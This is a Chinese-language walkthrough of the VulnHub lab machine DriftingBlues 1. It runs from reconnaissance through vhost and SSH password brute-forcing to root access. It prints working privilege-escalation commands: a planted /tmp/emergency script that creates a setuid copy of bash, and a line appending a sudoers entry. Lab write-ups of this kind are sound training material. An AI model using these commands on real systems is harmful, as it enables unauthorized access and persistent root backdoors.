一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:driftingblues1(10.0.2.17)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/driftingblues-1,625/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.17
使用nmap端口扫描发现靶机开放端口:22、80
打开网站,使用dirsearch
工具爆破目录,未发现敏感目录。
查看网站源码,发现一个使用base64加密的隐藏数据,解密为/noteforkingfish.txt
L25vdGVmb3JraW5nZmlzaC50eHQ=
访问/noteforkingfish.txt
可以看到一个加密的数据,使用Ook!编码。
解密得到提示:如何使用host文件到达我们的秘密位置,解密网站: splitbrain.org
my man, i know you are new but you should know how to use host file to reach our secret location. -eric
三、漏洞利用
根据提示修改hosts文件,网站里唯一出现的域名添加上去
10.0.2.17 driftingblues.box
再次爆破目录,使用dirb和dirsearch工具没有爆出东西来,怀疑是字典的问题
这些都爆不出来
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
看了一下wp,好吧是我肤浅了,有域名可以爆破子域名,使用gobuster
工具进行爆破。
使用vhost模式,测试目的IP有哪些对应的服务域名/虚拟主机,需要构造爆破字典
#构造字典脚本
file=open('/usr/share/dnsenum/dns.txt')
dataMat=[]
for line in file.readlines():
vhost_line=line.strip('\n')+'.driftingblues.box\n'
dataMat.append(vhost_line)
with open('/root/桌面/dnsdict.txt', 'w') as f:
f.writelines(dataMat)
使用gobuster
进行爆破,发现响应码为200的子域名,爆破成功
gobuster vhost -u driftingblues.box -w /media/sf_kali_share/dnsdict.txt
将爆破出来的子域名添加到/etc/hosts
文件
10.0.2.17 test.driftingblues.box
浏览器访问子域名
使用dirsearch
工具爆破目录,发现存在robots.txt
文件,访问该文件可以看到/ssh_cred.txt
不允许爬虫访问
访问/ssh_cred.txt
得到密码提示:1mw4ckyyucky
后面加一个数字
可以构造字典使用hydra工具爆破ssh的密码,用户名字典内容为:eric、sheryl、db
hydra -l use.txt -P pass.txt 10.0.2.17 ssh
爆破成功获得用户名和密码:eric\1mw4ckyyucky6
登录ssh
四、提权
使用命令sudo -l
查看有什么特权命令,发现没有
查看具有root权限的文件,看看有什么可以利用的,发现/usr/lib/policykit-1/polkit-agent-helper-1
可以利用cve-2021-4034进行提权,但靶机没有gcc环境,只能作罢
在靶机到处翻一番查看其他地方有没有可以利用的文件
发现在/var/backups
文件夹下有backup.sh
文件,该文件在/tmp
创建backip.zip
备份文件,并且backip.zip
文件是root权限的文件
尝试执行backup.sh
失败,权限不够,把整个靶机都翻了一下,暂时没有发现其他的可利用的文件
瞄了一眼wp,思路是发现backup.zip
的创建时间在变化,猜测靶机有计划任务每隔一段时间执行backup.sh
文件,可以根据backup.sh
文件会执行sudo /tmp/emergency
命令,在tmp文件夹下创建一个emergency
文件进行提权
创建一个emergency提权文件,等待片刻,getroot
文件被创建,执行getroot
文件提权成功
echo 'cp /bin/bash /tmp/getroot;chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergency
./getroot -p
其中:
chmod +s
让普通用户临时拥有该文件的属主的执行权限
-p
参数是因为 shell 启动时有效用户(组)ID 不等于真实用户(组)ID,避免重置有效用户 ID
也可以将eric用户加入sudo组,然后sudo提权
echo "eric ALL=(ALL:ALL) ALL" >> /etc/sudoers
获取flag
参考链接:vulnhub靶机DriftingBlues: 1渗透笔记_/noteforkingfish.txt-CSDN博客